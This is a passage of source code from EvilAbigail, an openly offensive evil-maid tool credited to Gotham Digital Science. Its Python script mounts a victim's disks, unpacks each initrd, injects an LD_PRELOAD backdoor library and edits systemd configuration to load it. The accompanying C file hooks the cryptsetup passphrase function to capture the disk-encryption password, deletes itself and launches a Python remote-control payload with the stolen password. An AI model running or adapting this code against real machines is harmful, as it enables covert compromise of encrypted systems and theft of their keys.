"FILENAME" : "/usr/lib/lblinux.so.1", 91 | "INITRDFILENAME" : "hda1", 92 | "FUNCTIONS" : [CENTOSBACKDOOR] 93 | }, 94 | "Fedora" : { # 23 95 | "IDENTIFIER" : "grep Fedora etc/initrd-release", 96 | 97 | "PRELOADFILE" : "usr/lib/systemd/system/initrd-switch-root.service", 98 | "PRELOADPRE" : "(\[Service\])", 99 | "PRELOADPOST" : CENTOSPRELOADCOMMAND, 100 | 101 | "ENVFILE" : "etc/systemd/system.conf", 102 | "ENVPRE" : "#DefaultEnvironment=", 103 | "ENVPOST" : "DefaultEnvironment=LD_PRELOAD=/hda1", 104 | 105 | "ROOT" : "/sysroot/", 106 | "FILENAME" : "/usr/lib/lblinux.so.1", 107 | "INITRDFILENAME" : "hda1", 108 | "FUNCTIONS" : [CENTOSBACKDOOR] 109 | } 110 | } 111 | 112 | banner = """ 113 | _____ _ _ _ _ _ _ _ 114 | | ____|_ _(_) | / \ | |__ (_) __ _ __ _(_) | 115 | | _| \ \ / / | | / _ \ | '_ \| |/ _` |/ _` | | | 116 | | |___ \ V /| | |/ ___ \| |_) | | (_| | (_| | | | 117 | |_____| \_/ |_|_/_/ \_\_.__/|_|\__, |\__,_|_|_| 118 | |___/ 119 | """ 120 | copyrightlhs = "Copyright Gotham Digital Science" 121 | copyrightrhs = "2015" 122 | url = "https://github.com/GDSSecurity/EvilAbigail" 123 | 124 | 125 | class UI: 126 | """ 127 | NCurses based UI for the EvilAbigail iso 128 | """ 129 | def __init__(self): 130 | """ 131 | Setup the main screen, progress bars and logging box 132 | """ 133 | self.screen = curses.initscr() 134 | curses.curs_set(0) 135 | 136 | curses.start_color() 137 | curses.init_pair(1, curses.COLOR_RED, curses.COLOR_BLACK) 138 | curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) 139 | curses.init_pair(3, curses.COLOR_MAGENTA, curses.COLOR_BLACK) 140 | curses.init_pair(4, curses.COLOR_CYAN, curses.COLOR_BLACK) 141 | curses.init_pair(5, curses.COLOR_BLUE, curses.COLOR_BLACK) 142 | curses.init_pair(6, curses.COLOR_YELLOW, curses.COLOR_BLACK) 143 | 144 | self.height, self.width = self.screen.getmaxyx() 145 | self.screen.border() 146 | 147 | self.preptotal() 148 | self.prepcurrent() 149 | self.preplog() 150 | self.banner() 151 | self.sig() 152 | 153 | self.drives = len(glob.glob("/dev/sd?1")) 154 | self.donedrives = 0 155 | self.prevprogress = 0 156 | self.loglines = [] 157 | self.idx = 1 158 | 159 | def banner(self): 160 | """ 161 | Print the above banner and copyight notice 162 | """ 163 | bannerlines = banner.split('\n') 164 | for idx, line in enumerate(bannerlines): 165 | self.screen.addstr(2+idx, 1, line.center(self.width-2), curses.color_pair(3)) 166 | start = bannerlines[2].center(self.width-2).index('|')+1 167 | self.screen.addstr(1+idx, start, copyrightlhs, curses.color_pair(1)) 168 | self.screen.addstr(1+idx, start+len(copyrightlhs)+7, copyrightrhs, curses.color_pair(1)) 169 | self.screen.addstr(2+idx, start, url.rjust(len(bannerlines[2])), curses.color_pair(4)) 170 | 171 | def sig(self): 172 | """ 173 | Print author signature 174 | """ 175 | self.sig = self.screen.subwin((self.height/2)-6, (self.width-2)/2, (self.height/2)+6, ((self.width-2)/2)+1) 176 | self.sig.border() 177 | self.sig.addstr(1, 1, "Evil Abigail".center(((self.width-2)/2)-2), curses.color_pair(6)) 178 | self.sig.addstr(2, 1, "Rory McNamara".center(((self.width-2)/2)-2), curses.color_pair(6)) 179 | self.sig.addstr(3, 1, "rmcnamara@gdssecurity.com".center(((self.width-2)/2)-2), curses.color_pair(6)) 180 | 181 | def preptotal(self): 182 | """ 183 | Draw the total progress bar 184 | """ 185 | self.totalbar = self.screen.subwin(3, (self.width-2)/2, (self.height/2), ((self.width-2)/2)+1) 186 | self.totalbar.erase() 187 | self.totalbar.border() 188 | self.screen.addstr((self.height/2), ((self.width-2)/2)+4, "Total Progress") 189 | 190 | def prepcurrent(self): 191 | """ 192 | Draw the current progress bar 193 | """ 194 | self.currentbar = self.screen.subwin(3, (self.width-2)/2, (self.height/2)+3, ((self.width-2)/2)+1) 195 | self.currentbar.erase() 196 | self.currentbar.border() 197 | self.screen.addstr((self.height/2)+3, ((self.width-2)/2)+4, "Current Drive Progress") 198 | 199 | def preplog(self): 200 | """ 201 | Draw the logging window 202 | """ 203 | self.log = self.screen.subwin((self.height/2), (self.width-2)/2, self.height/2, 1) 204 | self.log.erase() 205 | self.log.border() 206 | self.screen.addstr((self.height/2), 4, "Log") 207 | 208 | def logger(self, line, status, continuing = False): 209 | """ 210 | Log a line to the logging window. Autoscrolls 211 | A progress of 1.0 will fill the current bar accordingly (useful for 'continue') 212 | Auto splits and indents long lines 213 | """ 214 | statuses = { 215 | "ERROR": curses.color_pair(1), 216 | "INFO": curses.color_pair(2) 217 | } 218 | if status == "ERROR" and not continuing: 219 | progress = 1.0 220 | else: 221 | progress = self.idx/self.items 222 | self.idx += 1 223 | first = True 224 | while line: 225 | if first: 226 | first = False 227 | self.loglines.append((line[:37], status)) 228 | line = line[37:] 229 | else: 230 | self.loglines.append((' '+line[:35], status)) 231 | line = line[35:] 232 | self.preplog() 233 | for idx, line in enumerate(self.loglines[-((self.height/2)-3):]): 234 | self.log.addstr(idx+1, 1, line[0], statuses[line[1]]) 235 | if progress: 236 | self.plot(progress) 237 | self.refresh() 238 | 239 | def nextdrive(self, items): 240 | """ 241 | Signifies the start of the next drive for the current progress bar 242 | Items is how many logging evens we expect to see on the main path 243 | """ 244 | self.idx = 1 245 | self.items = float(items) 246 | 247 | def incritems(self, items): 248 | """ 249 | Allows adding to how many steps we expect to see 250 | For branch based differences 251 | """ 252 | self.items += items 253 | 254 | def plot(self, progress): 255 | """ 256 | Actually fill the progress bars accordingly 257 | """ 258 | if progress < self.prevprogress: 259 | self.donedrives += 1 260 | self.prevprogress = progress 261 | 262 | progress = progress + self.donedrives 263 | totalbar = int((progress/self.drives)*((self.width-2)/2)) 264 | currentbar = int(progress*((self.width-2)/2)) % (self.width/2) 265 | 266 | self.preptotal() 267 | self.prepcurrent() 268 | 269 | self.totalbar.addstr(1, 1, "-"*(totalbar-2), curses.color_pair(2)) 270 | self.currentbar.addstr(1, 1, "-"*(currentbar-2), curses.color_pair(2)) 271 | 272 | self.refresh() 273 | 274 | def refresh(self): 275 | """ 276 | Refresh the screen in order 277 | """ 278 | self.totalbar.refresh() 279 | self.currentbar.refresh() 280 | self.log.refresh() 281 | self.screen.refresh() 282 | 283 | def destroy(self): 284 | """ 285 | Clear screen and exit 286 | """ 287 | self.screen.erase() 288 | self.refresh() 289 | curses.endwin() 290 | 291 | ui = UI() 292 | ui.loglines.append(("Loading Drivers...", "INFO")) # bypass counting 293 | for driver in glob.glob('/usr/local/lib/modules/3.16.6-tinycore/kernel/fs/*/*.ko.gz'): 294 | system("insmod {} 2>&1 >/dev/null".format(driver)) 295 | 296 | for disk in glob.glob("/dev/sd?1"): 297 | ui.nextdrive(6) 298 | ui.logger("Trying {}".format(disk), "INFO") 299 | system("mount {} /mnt".format(disk)) 300 | 301 | grubcfgpath = False 302 | for root, dirs, files in os.walk('/mnt'): 303 | for file in files: 304 | if file == "grub.cfg": 305 | grubcfgpath = os.path.join(root,file) 306 | if not grubcfgpath or not os.path.isfile(grubcfgpath): 307 | ui.logger(" {} does not contain grub.cfg".format(disk), "ERROR") 308 | system("umount /mnt 2>/dev/null") 309 | continue 310 | 311 | with open(grubcfgpath, 'r') as grubcfg: 312 | data = grubcfg.read() 313 | initrdidx = re.findall('default="([^"]*)"', data)[1] 314 | if not initrdidx.isdigit(): 315 | ui.incritems(1) 316 | ui.logger(" Find default failed. Using 0", "ERROR", continuing = True) 317 | initrdidx = 0 318 | else: 319 | initrdidx = int(initrdidx) 320 | initrd = re.findall("initrd\d*\s+([^\s]+)", data)[initrdidx] 321 | 322 | ui.logger(" Extracting initrd...", "INFO") 323 | with open("/mnt{}".format(initrd), "r") as fh: 324 | compressed = (fh.read(2) == "\x1f\x8b") 325 | system("{} /mnt{} 2>/dev/null| cpio -i 2>&1 >/dev/null".format("gunzip -c" if compressed else "cat", initrd)) 326 | 327 | detectedOS = "" 328 | for OS in config: 329 | if not system(config[OS]["IDENTIFIER"]): 330 | detectedOS = OS 331 | break 332 | 333 | if not detectedOS: 334 | print error(" OS Detection Failed, Bailing") 335 | os.system('sh') 336 | system("umount /mnt 2>/dev/null") 337 | 338 | dracut = (detectedOS == "DRACUT") 339 | if dracut: 340 | ui.incritems(2) 341 | # unpack 342 | ui.logger(" dracut found, extracting real initrd", "INFO") 343 | system("rm -rf *") 344 | 345 | fh = open("/mnt{}".format(initrd), "r") 346 | data = fh.read() 347 | idx = data.index("TRAILER!!!") 348 | while data[idx:idx+2] != "\x1f\x8b": 349 | idx += 1 350 | system("dd if=/mnt{} bs={} skip=1 | gunzip -c | cpio -i 2>&1 >/dev/null".format(initrd, idx)) 351 | 352 | ui.logger(" Redetecting OS...", "INFO") 353 | detectedOS = "" 354 | for OS in config: 355 | if not system(config[OS]["IDENTIFIER"]): 356 | detectedOS = OS 357 | break 358 | 359 | ui.logger(" OS: {}".format(detectedOS), "INFO") 360 | ui.logger(" Backdooring initrd...", "INFO") 361 | if os.path.isfile(config[detectedOS]["INITRDFILENAME"]): 362 | ui.logger("Already backdoored", "ERROR") 363 | continue 364 | 365 | shutil.copy('/hda1', config[detectedOS]["INITRDFILENAME"]) 366 | 367 | for file in [key for key in config[detectedOS].keys() if key.endswith('FILE')]: 368 | fname = config[detectedOS][file] 369 | pre = config[detectedOS][file[:-4] + "PRE"].format(**config[detectedOS]) 370 | post = config[detectedOS][file[:-4] + "POST"].format(**config[detectedOS]) 371 | with open(fname, "r") as fh: 372 | data = fh.read() 373 | data = re.sub(pre, post, data) 374 | with open(fname, "w") as fh: 375 | fh.write(data) 376 | for function in config[detectedOS].get("FUNCTIONS", []): 377 | function(config[detectedOS]) 378 | ui.logger(" Packing initrd...", "INFO") 379 | if dracut: 380 | system("find . | cpio -o -H newc | gzip | dd bs={} seek=1 of=/mnt{}".format(idx, initrd)) 381 | else: 382 | system("find . | cpio -o -H newc | gzip > /mnt{}".format(initrd)) 383 | 384 | system("umount /mnt 2>&1 >/dev/null") 385 | ui.logger(" Done {}".format(disk), "INFO") 386 | ui.destroy() 387 | system("poweroff") 388 | -------------------------------------------------------------------------------- /rev.c: -------------------------------------------------------------------------------- 1 | #define _DEFAULT_SOURCE 2 | #define _GNU_SOURCE 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "payload.h" 11 | 12 | int shell(int argc, char **argv) { 13 | // only execute if we're pid 1 and /sysroot doesn't exist (systemd workaround) 14 | if(getpid() == 1 && access("/sysroot", F_OK) == -1) { 15 | pid_t pid = fork(); 16 | if (pid == 0) { 17 | // don't show any output 18 | close(1); 19 | close(2); 20 | close(3); 21 | // store our own path for later use 22 | char *sopath = getenv("LD_PRELOAD"); 23 | // we don't want children to load us 24 | unsetenv("LD_PRELOAD"); 25 | 26 | // find password, read from the end of the file until we hit a NUL 27 | FILE *self = fopen(sopath, "r"); 28 | fseek(self, -1, SEEK_END); 29 | int pwlen = 0; 30 | while (fgetc(self) != 0) { 31 | pwlen++; 32 | // fgetc advances, go back 2 33 | fseek(self, -2, SEEK_CUR); 34 | } 35 | // read password 36 | char *pass = malloc(pwlen+1); 37 | pass[pwlen] = '\0'; 38 | fread(pass, pwlen, 1, self); 39 | fclose(self); 40 | 41 | // give password to meterpreter as env var 42 | char *env; 43 | asprintf(&env, "PASSWORD=%s", pass); 44 | free(pass); 45 | char *envp[] = { 46 | env, 47 | NULL 48 | }; 49 | // delete self 50 | unlink(sopath); 51 | // sleep, wait for networking etc. 52 | sleep(WAIT); 53 | 54 | // try our best to find python. We don't have PATH so we can't use execvpe 55 | char *pythonpaths[] = { 56 | "/usr/bin/python2", 57 | "/usr/local/bin/python2", 58 | "/bin/python2", 59 | 60 | "/usr/bin/python3", 61 | "/usr/local/bin/python3", 62 | "/bin/python3" 63 | }; 64 | for (int i = 0; i < sizeof(pythonpaths)/sizeof(pythonpaths[0]); i++) { 65 | if (access(pythonpaths[i], F_OK) != -1) { 66 | execle(pythonpaths[i], 67 | "python", 68 | "-c", 69 | PAYLOAD, // payload is taken from payload.h. See Makefile for details 70 | NULL, 71 | envp); 72 | // If execle returns an error occurred in creating the new process 73 | // so carry on trying with other paths 74 | } 75 | } 76 | } 77 | } else { 78 | unsetenv("LD_PRELOAD"); 79 | } 80 | 81 | return 0; 82 | } 83 | 84 | 85 | // for retaining LD_PRELOAD into the new root 86 | extern char **environ; 87 | int clearenv (void) { 88 | /* 89 | * clearenv is called once in systemd, just before we switch root. 90 | * systemd/src/core/main.c:1901 91 | */ 92 | 93 | environ[0] = strdup("LD_PRELOAD=/usr/lib/lblinux.so.1"); 94 | environ[1] = NULL; 95 | return 0; 96 | 97 | } 98 | 99 | // for stealing the creds 100 | typedef int (*cabp)(struct crypt_device *cd, const char *name, int keyslot, 101 | const char *passphrase, size_t passphrase_size, uint32_t flags); 102 | 103 | int crypt_activate_by_passphrase(struct crypt_device *cd, const char *name, int keyslot, 104 | const char *passphrase, size_t passphrase_size, uint32_t flags) { 105 | cabp real_crypt_activate_by_passphrase = (cabp)dlsym(RTLD_NEXT, "crypt_activate_by_passphrase"); 106 | 107 | /* raise(SIGSEGV); */ 108 | FILE *self = fopen("/" FILENAME, "a"); 109 | fseek(self, 0, SEEK_END); 110 | fwrite(passphrase, passphrase_size, 1, self); 111 | fclose(self); 112 | 113 | int ret = real_crypt_activate_by_passphrase(cd, name, keyslot, passphrase, passphrase_size, flags); 114 | return ret; 115 | } 116 | --------------------------------------------------------------------------------